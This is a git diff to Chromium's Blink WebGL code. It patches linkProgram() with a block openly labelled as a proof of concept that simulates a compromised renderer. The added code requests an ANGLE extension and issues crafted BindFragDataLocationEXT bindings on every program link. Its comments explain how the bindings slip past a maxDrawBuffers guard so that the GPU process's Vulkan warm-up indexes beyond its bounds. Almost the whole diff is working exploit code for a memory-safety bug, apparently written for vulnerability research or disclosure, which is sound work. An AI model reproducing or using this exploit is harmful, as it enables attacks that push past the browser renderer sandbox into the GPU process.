diff --git a/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc b/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc index 172759394d7e0..12c68c1e8b570 100644 --- a/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc +++ b/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc @@ -4972,6 +4972,41 @@ void WebGLRenderingContextBase::linkProgram(WebGLProgram* program) { ContextGL()->GenQueriesEXT(1, &query); ContextGL()->BeginQueryEXT(GL_PROGRAM_COMPLETION_QUERY_CHROMIUM, query); } + // [POC] Compromised-renderer simulation: a renderer with code execution + // can issue arbitrary GLES2 command-buffer commands. There is no Blink + // binding for glBindFragDataLocationEXT, but the command exists on the wire + // (BindFragDataLocationEXTBucket) and is accepted by the passthrough GLES2 + // decoder in the GPU process when EXT_blend_func_extended is exposed. + // We attach the malicious bindings to *every* linkProgram() call; ANGLE + // silently ignores bindings whose name does not match a fragment output, so + // unrelated programs are unaffected. + { + GLuint p = ObjectOrZero(program); + fprintf(stderr, "[POC renderer] injecting BindFragDataLocationEXT for program %u\n", p); + // GL_EXT_blend_func_extended is a requestable ANGLE extension; the + // passthrough decoder gates BindFragDataLocationEXTBucket on + // features().ext_blend_func_extended which is populated from the live + // ANGLE extension string. A compromised renderer can request it. + ContextGL()->RequestExtensionCHROMIUM("GL_EXT_blend_func_extended"); + // Base array name -> last legal color slot. Issue ascending colorNumbers so + // the highest one that passes the GPU-process maxDrawBuffers validation + // wins (later calls overwrite the per-name binding map). On + // MAX_DRAW_BUFFERS=8 the base lands at 7; on 6 (SwiftShader) it lands at 5. + for (GLuint c = 3; c <= 7; ++c) { + ContextGL()->BindFragDataLocationEXT(p, c, "fragData"); + } + // Redirect every non-zero element k to colorNumber k-1. These per-element + // bindings populate reservedLocations and leave outputLocations past + // maxDrawBuffers unused, so the over-max guard at + // ProgramExecutable.cpp:1746 passes while pod.location ends up at + // maxDrawBuffers-1 with arraySize == maxDrawBuffers -> Vulkan warm-up + // iterates location indices up to 2*maxDrawBuffers-2. + for (GLuint k = 1; k <= 7; ++k) { + char name[16]; + snprintf(name, sizeof(name), "fragData[%u]", k); + ContextGL()->BindFragDataLocationEXT(p, k - 1, name); + } + } ContextGL()->LinkProgram(ObjectOrZero(program)); if (ExtensionEnabled(kKHRParallelShaderCompileName)) { ContextGL()->EndQueryEXT(GL_PROGRAM_COMPLETION_QUERY_CHROMIUM);